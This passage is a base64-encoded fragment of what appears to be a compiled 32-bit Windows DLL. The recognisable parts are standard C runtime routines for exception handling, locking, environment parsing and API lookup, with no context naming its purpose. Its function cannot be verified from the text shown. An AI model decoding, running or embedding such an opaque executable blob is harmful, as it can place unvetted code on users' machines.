//zPbiZisAwAAi1UUi30MgXoEgAAAAH8GD75HCOsDi0cIiUXgi3IQi8uJTdw5Sgx2Omv5FIl9GDtENwSLfQx+Iot9GDtENwiLfQx/FmvBFItEMARAiUXgi0oIiwTBiUXg6wlBiU3cO0oMcsZQUlNX6LgJAACDxBCJXeSJXfyLdQjHRfz+////x0UQAAAAAOgOAAAAi8fo4/b//8OLfQyLdQiLRdiJR/z/ddTo5dz//1noGvv//4tN0ImIiAAAAOgM+///i03MiYiMAAAAgT5jc23gdUiDfhADdUKBfhQgBZMZdBKBfhQhBZMZdAmBfhQiBZMZdSeLfeSDfcgAdSGF/3Qd/3YY6Nrc//9ZhcB0EP91EFbobP3//1lZ6wOLfeTDagS4yOoAEOj12P//6J76//+DuJQAAAAAdAXotfz//4Nl/ADoGP3//+iC+v//i00IagBqAImIlAAAAOie4f//zFWL7IN9IABXi30MdBL/dSD/dRxX/3UI6BIGAACDxBCDfSwA/3UIdQNX6wP/dSzogtv//1aLdST/Nv91GP91FFfohwgAAItGBEBoAAEAAP91KIlHCItFHP9wDP91GP91EFf/dQjokf3//4PELF6FwHQHV1DoC9v//19dw1WL7ItFCIsAgThjc23gdTmDeBADdTOBeBQgBZMZdBKBeBQhBZMZdAmBeBQiBZMZdRiDeBwAdRLouPn//zPJQYmIrAMAAIvBXcMzwF3DVYvsg+w8i0UMU1ZXi30YM9uIXdyIXf+BfwSAAAAAfwYPvkAI6wOLQAiJRfiD+P98BTtHBHwF6JH7//+LdQiBPmNzbeAPhboCAACDfhADD4UNAQAAgX4UIAWTGXQWgX4UIQWTGXQNgX4UIgWTGQ+F7gAAADleHA+F5QAAAOgm+f//OZiIAAAAD4SwAgAA6BX5//+LsIgAAADoCvn//2oBVsZF3AGLgIwAAACJRQjoQjwAAFlZhcB1BegP+///gT5jc23gdSuDfhADdSWBfhQgBZMZdBKBfhQhBZMZdAmBfhQiBZMZdQo5Xhx1Bejc+v//6LL4//85mJQAAAB0bOil+P//i4CUAAAAiUXs6Jf4////dexWiZiUAAAA6JoDAABZWYTAdUSLfew5Hw+OFAIAAIvDiV0Yi08EaECpARCLTAgE6ADg//+EwA+F+wEAAItFGEODwBCJRRg7H3zZ6eMBAACLRRCJRQjrA4tFCIE+Y3Nt4A+FjwEAAIN+EAMPhYUBAACBfhQgBZMZdBaBfhQhBZMZdA2BfhQiBZMZD4VmAQAAOV8MD4byAAAAjUXYUI1F8FD/dfj/dSBX6H/Y//+LTfCDxBQ7TdgPg88AAACNUBCLRfiJVeyNWvCJXdSLXQw5QvAPj58AAAA7QvQPj5YAAACLOol99It6/IX/iX3gi30YD46AAAAAi030i0Yci0AMjVAEiwDrI/92HIsCUFGJRdDomAcAAIPEDIXAdSqLReiLVeRIi030g8IEiUXoiVXkhcB/04tF4IPBEEiJTfSJReCFwH+16yf/ddzGRf8B/3Uk/3Ug/3XU/3XQ/3X0V/91FP91CFNW6L38//+DxCyLVeyLRfiLTfBBg8IUiU3wiVXsO03YD4I8////M9uAfRwAdApqAVbosvn//1lZgH3/AHV5iwcl////Hz0hBZMZcmuDfxwAdGX/dxxW6OoBAABZWYTAdVbozfb//+jI9v//6MP2//+JsIgAAADouPb//4N9JACLTQhWiYiMAAAAdXz/dQzreotFEDlfDHYfOF0cdTP/dST/dSD/dfhX/3UUUP91DFbodQAAAIPEIOh39v//OZiUAAAAdAXoj/j//19eW4vlXcPou/j//2oBVugL+f//WVmNRRjHRRiI/gAQUI1NxOgP3P//aHRGARCNRcTHRcSA/gAQUOha3f///3Uk6GrX//9q/1f/dRT/dQzocwQAAIPEEP93HOhc+///zFWL7FFRV4t9CIE/AwAAgA+EAgEAAFNW6O71//+LXRiDuIAAAAAAdEhqAP8VNPAAEIvw6NP1//85sIAAAAB0MYE/TU9D4HQpgT9SQ0PgdCH/dST/dSBT/3UU/3UQ/3UMV+hk1f//g8QchcAPhaUAAACDewwAdQXotPf//41F/FCNRfhQ/3Uc/3UgU+gR1v//i034g8QUi1X8O8pzeY1wDItFHDtG9HxjO0b4f16LBot+BMHgBIt8B/SF/3QTi1YEi1wC9ItV/IB7CACLXRh1OIt+BIPH8APHi30I9gBAdShqAf91JI1O9P91IFFqAFBT/3UU/3UQ/3UMV+id+v//i1X8g8Qsi034i0UcQYPGFIlN+DvKco1eW1+L5V3DVYvsUVFTVot1DFeF9nRuM9uL+zkefl2Ly4ldDItFCItAHItADI1QBIsAiVX4iUX8hcB+NYtFCP9wHItGBP8yA8FQ6L4EAACLTQyDxAyFwHUWi0X8i1X4SIPCBIlF/IlV+IXAf8/rArMBR4PBEIlNDDs+fKhfXorDW4vlXcPokfb//+jE9v//zFWL7ItNDItVCFaLAYtxBAPChfZ4DYtJCIsUFosMCgPOA8FeXcNqCGjARQEQ6J7v//+LVRCLTQz3AgAAAIB0BIv56waNeQwDegiDZfwAi3UUVlJRi10IU+hXAAAAg8QQSHQfSHU0agGNRghQ/3MY6I3///9ZWVD/dhhX6J/T///rGI1GCFD/cxjoc////1lZUP92GFfohdP//8dF/P7////ob+///8MzwEDDi2Xo6BH2///MagxoWEYBEOgQ7///M9uLRRCLSASFyQ+EngEAADhZCA+ElQEAAItQCIXSdQz3AAAAAIAPhIIBAACLCIt9DIXJeAWDxwwD+old/It1FITJeU/2BhB0SqHcrAEQhcB0Qf/QiUUQagFQ6JU2AABZWYXAD4QpAQAAagFX6IM2AABZWYXAD4QXAQAAi00QiQ+NRghQUei3/v//WVmJB+kEAQAAagGLRQj/cBj2wQh0KehPNgAAWVmFwA+E4wAAAGoBV+g9NgAAWVmFwA+E0QAAAItFCItIGOu19gYBdFHoITYAAFlZhcAPhLUAAABqAVfoDzYAAFlZhcAPhKMAAAD/dhSLRQj/cBhX6LIvAACDxAyDfhQED4WMAAAAgz8AD4SDAAAAjUYIUP836Wb///85Xhh1OejLNQAAWVmFwHRjagFX6L01AABZWYXAdFX/dhSNRghQi0UI/3AY6PL9//9ZWVBX6FgvAACDxAzrOuiSNQAAWVmFwHQqagFX6IQ1AABZWYXAdBz/dhjodjUAAFmFwHQP9gYEagBbD5XDQ4ld5OsF6DX0///HRfz+////i8PrDjPAQMOLZejoVvT//zPA6KDt///DVYvsi0UIiwCBOFJDQ+B0IYE4TU9D4HQZgThjc23gdSrozPH//4OgkAAAAADpHfT//+i78f//g7iQAAAAAH4L6K3x////iJAAAAAzwF3DahBocEUBEOgA7f//i0UQgXgEgAAAAItFCH8GD75wCOsDi3AIiXXk6Hfx////gJAAAACDZfwAO3UUdF+D/v9+CItFEDtwBHwF6Hvz//+LTRCLQQiLFPCJVeDHRfwBAAAAg3zwBAB0J4tFCIlQCGgDAQAAUItBCP908ATo/fL//+sN/3Xs6Cn///9Zw4tl6INl/ACLdeCJdeTrnMdF/P7////oGQAAADt1FHQF6Bjz//+LRQiJcAjoluz//8OLdeTo3/D//4O4kAAAAAB+C+jR8P///4iQAAAAw1WL7FNWV+i/8P//i00YM/aLVQi7Y3Nt4L8iBZMZObCsAwAAdSE5GnQdgTomAACAdBWLASX///8fO8dyCvZBIAEPhZMAAAD2QgRmdCE5cQQPhIQAAAA5dRx1f2r/Uf91FP91DOi//v//g8QQ62w5cQx1E4sBJf///x89IQWTGXJZOXEcdFQ5GnU0g3oQA3IuOXoUdimLQhyLcAiF9nQfi0UkD7bAUP91IP91HFH/dRT/dRD/dQxS/9aDxCDrH/91IP91HP91JFH/dRT/dRD/dQxS6E32//+DxCAzwEBfXltdw1WL7FaLdQhXi0YEhcB0UY1ICIA5AHRJ9gaAi30MdAX2BxB1PItXBDvCdBSNQghQUeg9FgAAWVmFwHQEM8DrJPYHAnQF9gYIdPKLRRD2AAF0BfYGAXTl9gACdAX2BgJ02zPAQF9eXcNVi+xW6JHv//+L8IX2D4RFAQAAi1Zci8pXi30IOTl0DYPBDI2CkAAAADvIcu+NgpAAAAA7yHMEOTl0AjPJhckPhBABAACLUQiF0g+EBQEAAIP6BXUMg2EIADPAQOn2AAAAg/oBdQiDyP/p6QAAAItFDFOLXmCJRmCDeQQID4XAAAAAaiRfi0Zcg2QHCACDxwyB/5AAAAB87YE5jgAAwIt+ZHUMx0ZkgwAAAOmGAAAAgTmQAADAdQnHRmSBAAAA63WBOZEAAMB1CcdGZIQAAADrZIE5kwAAwHUJx0ZkhQAAAOtTgTmNAADAdQnHRmSCAAAA60KBOY8AAMB1CcdGZIYAAADrMYE5kgAAwHUJx0ZkigAAAOsggTm1AgDAdQnHRmSNAAAA6w+BObQCAMB1B8dGZI4AAAD/dmRqCP/SWYl+ZOsJ/3EEg2EIAP/SWYleYIPI/1vrAjPAX15dw1WL7Lhjc23gOUUIdQ3/dQxQ6I/+//9ZWV3DM8Bdw1WL7FGNRfxQaOz0ABBqAP8VYPAAEIXAdBdoOP8AEP91/P8VAPAAEIXAdAX/dQj/0IvlXcNVi+z/dQjowf///1n/dQj/FVzwABDMVlf/NRC4ARD/FTjwABCLNfSsARCL+IX2dBiDPgB0Df826HXV//9Zg8YEde6LNfSsARBTVuhi1f//izXwrAEQM9uJHfSsARBZhfZ0FzkedA3/NuhE1f//WYPGBHXvizXwrAEQVugy1f///zXsrAEQiR3wrAEQ6CHV////NeisARDoFtX//4PO/4kd7KwBEIPEDIkd6KwBEDv+dA85HRC4ARB0B1fo8tT//1lW/xU08AAQoxC4ARChsKkBEIXAdA1Q6NbU//9ZiR2wqQEQobSpARCFwHQNUOjA1P//WYkdtKkBEKGsoQEQ8A/BME5bdRuhrKEBEL6InwEQO8Z0DVDomNT//1mJNayhARBfXsNVi+zosQ4AAP91COgGDwAAWWj/AAAA6JQAAADMagFqAGoA6D4BAACDxAzDVYvsgz3gQQEQAHQZaOBBARDomiUAAFmFwHQK/3UI/xXgQQEQWegLJQAAaFDxABBoPPEAEOjNAAAAWVmFwHVDaI5mABDoxTAAAMcEJDjxABBoMPEAEOh2AAAAgz0IuAEQAFlZdBtoCLgBEOhBJQAAWYXAdAxqAGoCagD/FQi4ARAzwF3DVYvsagBqAf91COinAAAAg8QMXcNWagD/FTTwABCL8Fbo/9L//1boitb//1bobjAAAFbogjAAAFboau7//1bohzIAAIPEGF7p4QkAAFWL7ItFDFNWi3UIM9srxoPAA8HoAjl1DFcb//fXI/h2EIsGhcB0Av/Qg8YEQzvfcvBfXltdw1WL7FaLdQgzwOsPhcB1EIsOhcl0Av/Rg8YEO3UMcuxeXcNqCOhcEAAAWcNqCOi9EQAAWcNqHGiwRgEQ6Krm//9qCOg+EAAAWYNl/ACDPeCsARABD4TJAAAAxwUIrQEQAQAAAIpFEKIErQEQg30MAA+FnAAAAP81ELgBEIs1OPAAEP/Wi9iJXdSF23R0/zUMuAEQ/9aL+Ild5Il94Il93IPvBIl93Dv7cldqAP8VNPAAEDkHdOo7+3JH/zf/1ovwagD/FTTwABCJB//W/zUQuAEQizU48AAQ/9aJRdj/NQy4ARD/1otN2DlN5HUFOUXgdK6JTeSL2Yld1IlF4Iv465xoZPEAEGhU8QAQ6Lv+//9ZWWhs8QAQaGjxABDoqv7//1lZx0X8/v///+ggAAAAg30QAHUpxwXgrAEQAQAAAGoI6KoQAABZ/3UI6F78//+DfRAAdAhqCOiUEAAAWcPozeX//8P/FWzwABAzyaMUrQEQhcAPlcGLwcODJRStARAAw2pkaNBGARDoXuX//2oL6PIOAABZM9uJXfxqQGogX1foywoAAFlZi8iJTdyFyXUbav6NRfBQaACcARDo6yMAAIPEDIPI/+lbAgAAoxitARCJPQS4ARAFAAgAADvIczFmx0EEAAqDCf+JWQiAYSSAikEkJH+IQSRmx0ElCgqJWTiIWTSDwUCJTdyhGK0BEOvGjUWMUP8VfPAAEGaDfb4AD4QvAQAAi0XAhcAPhCQBAACLCIlN5IPABIlF2APBiUXguAAIAAA7yHwFi8iJTeQz9kaJddA5DQS4ARB9IGpAV+gMCgAAWVmLyIlN3IXJD4WUAAAAiw0EuAEQiU3ki/uJfdRq/luLRdiLVeA7+Q+NxQAAAIsyg/7/dFs783RXigCoAXRRqAh1Dlb/FXTwABCLVeCFwHQ8i8fB+AWL94PmH8HmBgM0hRitARCJddyLAokGi0XYigCIRgRqAGigDwAAjUYMUOhWBgAAg8QM/0YIi1Xgi03kR4l91ItF2ECJRdiDwgSJVeDrg4kMtRitARABPQS4ARCLBLUYrQEQBQAIAAA7yHMkZsdBBAAKgwn/iVkIgGEkgGbHQSUKColZOIhZNIPBQIlN3OvMRol10ItN5OkA////av5bM/+JfdSD/wMPjbcAAACL98HmBgM1GK0BEIl13IM+/3QSOR50Dg++RgQMgIhGBOmMAAAAxkYEgYX/dQVq9ljrCo1H//fYG8CDwPVQ/xVw8AAQiUXkg/j/dEyFwHRIUP8VdPAAEIXAdD2LTeSJDiX/AAAAg/gCdQgPvkYEDEDrC4P4A3UJD75GBAwIiEYEagBooA8AAI1GDFDoSgUAAIPEDP9GCOsaD75GBAxAiEYEiR6hIMgBEIXAdAaLBLiJWBBH6T3///+JXfzoCAAAADPA6AXj///DagvovQ0AAFnDVle+GK0BEIs+hf90N42HAAgAADv4cyKDxwyDf/wAdAdX/xV48AAQiw6Dx0CBwQAIAACNR/Q7wXLh/zbo6c7//4MmAFmDxgSB/hiuARB8uF9ew1WL7FFRgz0UuAEQAHUF6BcVAABTVldoBAEAAL8YrgEQM9tXU4gdHK8BEP8VgPAAEIs1KMgBEIk9+KwBEIX2dAQ4HnUCi/eNRfhQjUX8UFNTVuhdAAAAi138g8QUgfv///8/c0WLTfiD+f9zPY0UmTvRcjZS6LgHAACL+FmF/3QpjUX4UI1F/FCNBJ9QV1boIAAAAItF/IPEFEiJPeisARCj5KwBEDPA6wODyP9fXluL5V3DVYvsi0UUU4tdGFaLdQhXgyMAi30QxwABAAAAi0UMhcB0CIk4g8AEiUUMM8mJTQiAPiJ1ETPAhckPlMBGi8iwIolNCOs1/wOF/3QFigaIB0eKBkaIRRsPtsBQ6BctAABZhcB0DP8Dhf90BYoGiAdHRopFG4TAdBmLTQiFyXWxPCB0BDwJdamF/3QHxkf/AOsBToNlGACAPgAPhMoAAACKBjwgdAQ8CXUDRuvzgD4AD4S0AAAAi1UMhdJ0CIk6g8IEiVUMi0UU/wAz0kIzyesCRkGAPlx0+YA+InUz9sEBdR+DfRgAdAyNRgGAOCJ1BIvw6w0zwDPSOUUYD5TAiUUY0enrC0mF/3QExgdcR/8Dhcl18YoGhMB0QTlNGHUIPCB0ODwJdDSF0nQqD77AUOhELAAAWYX/dBOFwHQIigaIB0dG/wOKBogHR+sHhcB0A0b/A/8DRulv////hf90BMYHAEf/A+kt////i1UMX15bhdJ0A4MiAItFFP8AXcODPRS4ARAAdQXo7RIAAFaLNZSpARBXM/+F9nUXg8j/6ZYAAAA8PXQBR1boFgkAAEZZA/CKBoTAdeuNRwFqBFDodgUAAIv4iT3wrAEQWVmF/3TKizWUqQEQU4A+AHQ+VujhCAAAgD49WY1YAXQiagFT6EUFAACJB1lZhcB0QFZTUOhoCAAAg8QMhcB1SIPHBAPzgD4AdciLNZSpARBW6AbM//+DJZSpARAAgycAM8DHBRi4ARABAAAAWVtfXsP/NfCsARDo4Mv//4Ml8KwBEACDyP/r5DPAUFBQUFDo5s7//8xVi+yD7BSDZfQAg2X4AKEAnAEQVle/TuZAu74AAP//O8d0DYXGdAn30KMEnAEQ62aNRfRQ/xWM8AAQi0X4M0X0iUX8/xUs8AAQMUX8/xWI8AAQMUX8jUXsUP8VhPAAEItN8I1F/DNN7DNN/DPIO891B7lP5kC76xCFznUMi8ENEUcAAMHgEAvIiQ0AnAEQ99GJDQScARBfXovlXcNVi+xRV/8VkPAAEIv4M8CF/3R1Vov3ZjkHdBCDxgJmOQZ1+IPGAmY5BnXwU1BQUCv3UNH+RlZXUFD/FWjwABCJRfyFwHQ3UOg5BAAAi9hZhdt0KjPAUFD/dfxTVldQUP8VaPAAEIXAdQlT6LzK//9ZM9tX/xWU8AAQi8PrCVf/FZTwABAzwFteX4vlXcNVi+yhgLcBEDMFAJwBEHQH/3UI/9Bdw13/JbDwABBVi+yhhLcBEDMFAJwBEP91CHQE/9Bdw/8VvPAAEF3DVYvsoYi3ARAzBQCcARD/dQh0BP/QXcP/FbTwABBdw1WL7KGMtwEQMwUAnAEQ/3UM/3UIdAT/0F3D/xW48AAQXcNVi+yhkLcBEDMFAJwBEHQN/3UQ/3UM/3UI/9Bdw/91DP91CP8VoPAAEDPAQF3DVYvsUVaLNVCcARCF9nklofS3ARAz9jMFAJwBEIl1/HQNVo1N/FH/0IP4enUBRok1UJwBEDPAhfZeD5/Ai+Vdw1ZXaEj/ABD/FcDwABCLNQDwABCL+Ghk/wAQV//WMwUAnAEQaHD/ABBXo4C3ARD/1jMFAJwBEGh4/wAQV6OEtwEQ/9YzBQCcARBohP8AEFejiLcBEP/WMwUAnAEQaJD/ABBXo4y3ARD/1jMFAJwBEGis/wAQV6OQtwEQ/9YzBQCcARBovP8AEFejlLcBEP/WMwUAnAEQaND/ABBXo5i3ARD/1jMFAJwBEGjo/wAQV6OctwEQ/9YzBQCcARBoAAABEFejoLcBEP/WMwUAnAEQaBQAARBXo6S3ARD/1jMFAJwBEGg0AAEQV6OotwEQ/9YzBQCcARBoTAABEFejrLcBEP/WMwUAnAEQaGQAARBXo7C3ARD/1jMFAJwBEGh4AAEQV6O0twEQ/9YzBQCcARCjuLcBEGiMAAEQV//WMwUAnAEQaKgAARBXo7y3ARD/1jMFAJwBEGjIAAEQV6PAtwEQ/9YzBQCcARBo5AABEFejxLcBEP/WMwUAnAEQaAQBARBXo8i3ARD/1jMFAJwBEGgYAQEQV6PMtwEQ/9YzBQCcARBoNAEBEFej0LcBEP/WMwUAnAEQaEgBARBXo9i3ARD/1jMFAJwBEGhYAQEQV6PUtwEQ/9YzBQCcARBoaAEBEFej3LcBEP/WMwUAnAEQaHgBARBXo+C3ARD/1jMFAJwBEGiIAQEQV6PktwEQ/9YzBQCcARBopAEBEFej6LcBEP/WMwUAnAEQaLgBARBXo+y3ARD/1jMFAJwBEGjIAQEQV6PwtwEQ/9YzBQCcARBo3AEBEFej9LcBEP/WMwUAnAEQo/i3ARBo7AEBEFf/1jMFAJwBEGgMAgEQV6P8twEQ/9YzBQCcARBfowC4ARBew1WL7P91CP8VpPAAEF3DVYvs/3UI/xWo8AAQUP8VrPAAEF3DVYvsagD/FZzwABD/dQj/FZjwABBdw1WL7FZXM/ZqAP91DP91COjtJgAAi/iDxAyF/3UlOQUgrwEQdh1W6Jz///+BxugDAABZOzUgrwEQdgODzv+D/v91xYvHX15dw1WL7FNWV4s9IK8BEDP2/3UI6PDD//+L2FmF23Ujhf90H1boWP///4s9IK8BEIHG6AMAAFk793YDg87/g/7/dc5fXovDW13DVYvsVlcz9v91DP91COi1JQAAi/hZWYX/dSo5RQx0JTkFIK8BEHYdVugL////gcboAwAAWTs1IK8BEHYDg87/g/7/dcOLx19eXcNWV76kQwEQv6RDARDrC4sGhcB0Av/Qg8YEO/dy8V9ew1ZXvqxDARC/rEMBEOsLiwaFwHQC/9CDxgQ793LxX17DagPo+icAAFmD+AF0FWoD6O0nAABZhcB1H4M9KK8BEAF1Fmj8AAAA6DEAAABo/wAAAOgnAAAAWVnDVYvsi00IM8A7DMUoAgEQdApAg/gXcvEzwF3DiwTFLAIBEF3DVYvsgez8AQAAoQCcARAzxYlF/FaLdQhXVui+////i/hZhf8PhHkBAABTagPocycAAFmD+AEPhA8BAABqA+hiJwAAWYXAdQ2DPSivARABD4T2AAAAgf78AAAAD4RBAQAAaMgLARBoFAMAAGgwrwEQ6P0lAACDxAwz24XAD4UxAQAAaAQBAABoYq8BEFNmo2qxARD/FcjwABC++wIAAIXAdRto/AsBEFZoYq8BEOjAJQAAg8QMhcAPhfYAAABoYq8BEOgHJgAAQFmD+Dx2NWhirwEQ6PYlAABqA2gsDAEQjQxF7K4BEIvBLWKvARDR+CvwVlHo7yUAAIPEFIXAD4WwAAAAaDQMARBoFAMAAL4wrwEQVujuJAAAg8QMhcAPhZAAAABXaBQDAABW6NckAACDxAyFwHV9aBAgAQBoQAwBEFbonyYAAIPEDOtXavT/FXDwABCL8IX2dEmD/v90RDPbi8uKBE+IhA0I/v//ZjkcT3QJQYH59AEAAHLnU42FBP7//4hd+1CNhQj+//9Q6IQAAABZUI2FCP7//1BW/xXE8AAQW4tN/F8zzV7o6rn//4vlXcNTU1NTU+jaxv//zFWL7FaLdQiF9nQQi1UMhdJ0CYtNEIXJdRaIDujM1v//ahZeiTDon8b//4vGXl3DV4v+K/mKAYgED0GEwHQDSnXzX4XSdQuIFuif1v//aiLr0TPA69fMzMyLTCQE98EDAAAAdCSKAYPBAYTAdE73wQMAAAB17wUAAAAAjaQkAAAAAI2kJAAAAACLAbr//v5+A9CD8P8zwoPBBKkAAQGBdOiLQfyEwHQyhOR0JKkAAP8AdBOpAAAA/3QC682NQf+LTCQEK8HDjUH+i0wkBCvBw41B/YtMJAQrwcONQfyLTCQEK8HDVYvsVot1CIM89WCcARAAdRNW6HEAAABZhcB1CGoR6Cfu//9Z/zT1YJwBEP8VUPAAEF5dw1ZXvmCcARCL/lOLH4XbdBeDfwQBdBFT/xV48AAQU+iBwv//gycAWYPHCIH/gJ0BEHzYW4M+AHQOg34EAXUI/zb/FXjwABCDxgiB/oCdARB84l9ew2oIaPBGARDo0dX//4M9FK0BEAB1GOhh/P//ah7ot/z//2j/AAAA6HTs//9ZWYt9CDPbORz9YJwBEHVcahjoaPv//1mL8IX2dQ/oM9X//8cADAAAADPA60JqCugZ////WYld/Dkc/WCcARB1GFNooA8AAFbouPf//4PEDIk0/WCcARDrB1boxsH//1nHRfz+////6AkAAAAzwEDog9X//8NqCug7AAAAWcNWV75gnAEQv2C1ARCDfgQBdRZqAIk+g8cYaKAPAAD/Nuhi9///g8QMg8YIgf6AnQEQfNkzwF9AXsNVi+yLRQj/NMVgnAEQ/xVU8AAQXcPMzMzMzMyLVCQEi0wkCPfCAwAAAHVAiwI6AXUyhMB0JjphAXUphOR0HcHoEDpBAnUdhMB0ETphA3UUg8EEg8IEhOR10ov/M8DD6wPMzMwbwIPIAcOL//fCAQAAAHQYigKDwgE6AXXng8EBhMB02PfCAgAAAHSgZosCg8ICOgF1zoTAdMI6YQF1xYTkdLmDwQLrhGoMaBBHARDoSNT//2oO6Nz9//9Zg2X8AIt1CItGBIXAdDCLDbS2ARC6sLYBEIlN5IXJdBE5AXUsi0EEiUIEUeiDwP//Wf92BOh6wP//WYNmBADHRfz+////6AoAAADoNtT//8OL0evFag7o6v7//1nDgyVgtwEQAMPMzMzMzMzMzMzMzItUJAyLTCQEhdJ0fw+2RCQID7olpKkBEAFzDYtMJAxXi3wkCPOq612LVCQMgfqAAAAAfA4PuiUAmAEQAQ+CUyQAAFeL+YP6BHIx99mD4QN0DCvRiAeDxwGD6QF19ovIweAIA8GLyMHgEAPBi8qD4gPB6QJ0BvOrhdJ0CogHg8cBg+oBdfaLRCQIX8OLRCQEw2oQaDBHARDoNNP//zP/iX3kagHow/z//1khffxqA16JdeA7NSTIARB9U6EgyAEQiwSwhcB0RPZADIN0EFDo9yQAAFmD+P90BEeJfeSD/hR8KaEgyAEQiwSwg8AgUP8VePAAEKEgyAEQ/zSw6EO///9ZoSDIARCDJLAARuuix0X8/v///+gLAAAAi8fo9dL//8OLfeRqAeiq/f//WcNVi+xWi3UIhfZ1CVboogAAAFnrL1boLAAAAFmFwHQFg8j/6x/3RgwAQAAAdBRW6GQBAABQ6NokAAD32FlZG8DrAjPAXl3DVYvsU1aLdQgz24tGDCQDPAJ1QvdGDAgBAAB0OVeLPit+CIX/fi5X/3YIVughAQAAWVDofyUAAIPEDDvHdQ+LRgyEwHkPg+D9iUYM6weDTgwgg8v/X4tOCIvDg2YEAIkOXltdw2oB6AIAAABZw2oUaFBHARDo5NH//zP/iX3kIX3cagHocPv//1khffwz9otdCIl14Ds1JMgBEA+NhgAAAKEgyAEQiwSwhcB0XfZADIN0V1BW6D/C//9ZWcdF/AEAAAChIMgBEIsEsPZADIN0MIP7AXUSUOjf/v//WYP4/3QfR4l95OsZhdt1FfZADAJ0D1Dow/7//1mD+P91AwlF3INl/ADoDAAAAEbrhYtdCIt95It14KEgyAEQ/zSwVug/wv//WVnDx0X8/v///+gWAAAAg/sBi8d0A4tF3Ohh0f//w4tdCIt95GoB6BP8//9Zw1WL7ItFCIXAdRXoodD//8cAFgAAAOhzwP//g8j/XcOLQBBdw1WL7ItNCIP5/nUN6HzQ///HAAkAAADrOIXJeCQ7DQS4ARBzHIvBg+EfwfgFweEGiwSFGK0BEA++RAgEg+BAXcPoR9D//8cACQAAAOgZwP//M8Bdw1WL7ItVCDPJU1ZBV4vB8A/BAotyeIX2dAaLwfAPwQaLsoAAAACF9nQGi8HwD8EGi3J8hfZ0BovB8A/BBouyiAAAAIX2dAaLwfAPwQZqBo1yHFuBfvikogEQdAyLPoX/dAaLwfAPwQeDfvQAdA2LfvyF/3QGi8HwD8EHg8YQS3XSi4KcAAAABbAAAADwD8EIQV9eW13DVYvsU1aLdQgz21eLhoQAAACFwHRmPSilARB0X4tGeIXAdFg5GHVUi4aAAAAAhcB0FzkYdRNQ6De8////toQAAADoZiwAAFlZi0Z8hcB0FzkYdRNQ6Bm8////toQAAADoRC0AAFlZ/3Z46AS8////toQAAADo+bv//1lZi4aIAAAAhcB0RDkYdUCLhowAAAAt/gAAAFDo2Lv//4uGlAAAAL+AAAAAK8dQ6MW7//+LhpgAAAArx1Dot7v///+2iAAAAOisu///g8QQi4acAAAAPaiiARB0GzmYsAAAAHUTUOgrLQAA/7acAAAA6IO7//9ZWWoGWI2eoAAAAIlFCI1+HIF/+KSiARB0HYsHhcB0FIM4AHUPUOhYu////zPoUbv//1lZi0UIg3/0AHQWi0f8hcB0DIM4AHUHUOg0u///WYtFCIPDBIPHEEiJRQh1slboHrv//1lfXltdw1WL7ItVCIXSD4SOAAAAU1aDzv9Xi8bwD8ECi0p4hcl0BovG8A/BAYuKgAAAAIXJdAaLxvAPwQGLSnyFyXQGi8bwD8EBi4qIAAAAhcl0BovG8A/BAWoGjUocW4F5+KSiARB0DIs5hf90BovG8A/BB4N59AB0DYt5/IX/dAaLxvAPwQeDwRBLddKLipwAAACBwbAAAADwD8ExTl9eW4vCXcNqDGh4RwEQ6PnN//+DZeQA6IfS//+L8IsNyKQBEIVOcHQig35sAHQc6G/S//+LcGyF9nUIaiDor+X//1mLxugHzv//w2oM6FX3//9Zg2X8AP81DKQBEI1GbFDoIQAAAFlZi/CJdeTHRfz+////6AUAAADrvIt15GoM6Iz4//9Zw1WL7FeLfQyF/3Q7i0UIhcB0NFaLMDv3dChXiTjo0Pz//1mF9nQbVui0/v//gz4AWXUPgf4QpAEQdAdW6Eb9//9Zi8de6wIzwF9dw4M9FLgBEAB1Emr96E0DAABZxwUUuAEQAQAAADPAw1WL7ItFCC2kAwAAdCaD6AR0GoPoDXQOSHQEM8Bdw6GYDAEQXcOhlAwBEF3DoZAMARBdw6GMDAEQXcNVi+yD7BCNTfBqAOjbvv//gyXQtgEQAItFCIP4/nUSxwXQtgEQAQAAAP8V1PAAEOssg/j9dRLHBdC2ARABAAAA/xXQ8AAQ6xWD+Px1EItF8McF0LYBEAEAAACLQASAffwAdAeLTfiDYXD9i+Vdw1WL7FOLXQhWV2gBAQAAM/+NcxhXVuiK+P//iXsEM8CJewiDxAyJuxwCAAC5AQEAAI17DKurq7+InwEQK/uKBDeIBkZJdfeNixkBAAC6AAEAAIoEOYgBQUp1919eW13DVYvsgewgBQAAoQCcARAzxYlF/FNWi3UIjYXo+v//V1D/dgT/FdjwABAz278AAQAAhcAPhPAAAACLw4iEBfz+//9AO8dy9IqF7vr//42N7vr//8aF/P7//yDrHw+2UQEPtsDrDTvHcw3GhAX8/v//IEA7wnbvg8ECigGEwHXdU/92BI2F/Pr//1BXjYX8/v//UGoBU+hsMAAAU/92BI2F/P3//1dQV42F/P7//1BX/7YcAgAAU+jvLgAAg8RAjYX8/P//U/92BFdQV42F/P7//1BoAAIAAP+2HAIAAFPoxy4AAIPEJIvLD7eETfz6//+oAXQOgEwOGRCKhA38/f//6xCoAnQVgEwOGSCKhA38/P//iIQOGQEAAOsHiJwOGQEAAEE7z3LB61lqn42WGQEAAIvLWCvCiYXg+v//A9EDwomF5Pr//4PAIIP4GXcKgEwOGRCNQSDrE4O95Pr//xl3Do0EDoBIGSCNQeCIAusCiBqLheD6//+NlhkBAABBO89yuotN/F9eM81b6Bqt//+L5V3DagxomEcBEOh3yv//M/aJdeToBM///4v4iw3IpAEQhU9wdBw5d2x0F4t3aIX2dQhqIOgy4v//WYvG6IrK///Dag3o2PP//1mJdfyLd2iJdeQ7NayhARB0NIX2dBiDyP/wD8EGdQ+B/oifARB0B1bog7b//1mhrKEBEIlHaIs1rKEBEIl15DPAQPAPwQbHRfz+////6AUAAADrkYt15GoN6OT0//9Zw2oQaLhHARDo0cn//4PP/+hgzv//i9iJXeDoPP///4tzaP91COjS/P//WYlFCDtGBA+EaAEAAGggAgAA6Grv//9Zi9iF2w+EVQEAALmIAAAAi0Xgi3Boi/vzpTP2iTNT/3UI6EEBAABZWYv4iX0Ihf8PhQcBAACLReCLSGiDyv/wD8ERdRWLSGiB+YifARB0ClHourX//1mLReCJWGgzwEDwD8EDi0Xg9kBwAg+F7wAAAPYFyKQBEAEPheIAAABqDeiz8v//WYl1/ItDBKO4tgEQi0MIo7y2ARCLgxwCAACjzLYBEIvOiU3kg/kFfRBmi0RLDGaJBE3AtgEQQevoi86JTeSB+QEBAAB9DYpEGRiIgYCdARBB6+iJdeSB/gABAAB9EIqEHhkBAACIhoieARBG6+WhrKEBEIPJ//APwQh1E6GsoQEQPYifARB0B1Do/bT//1mJHayhARAzwEDwD8EDx0X8/v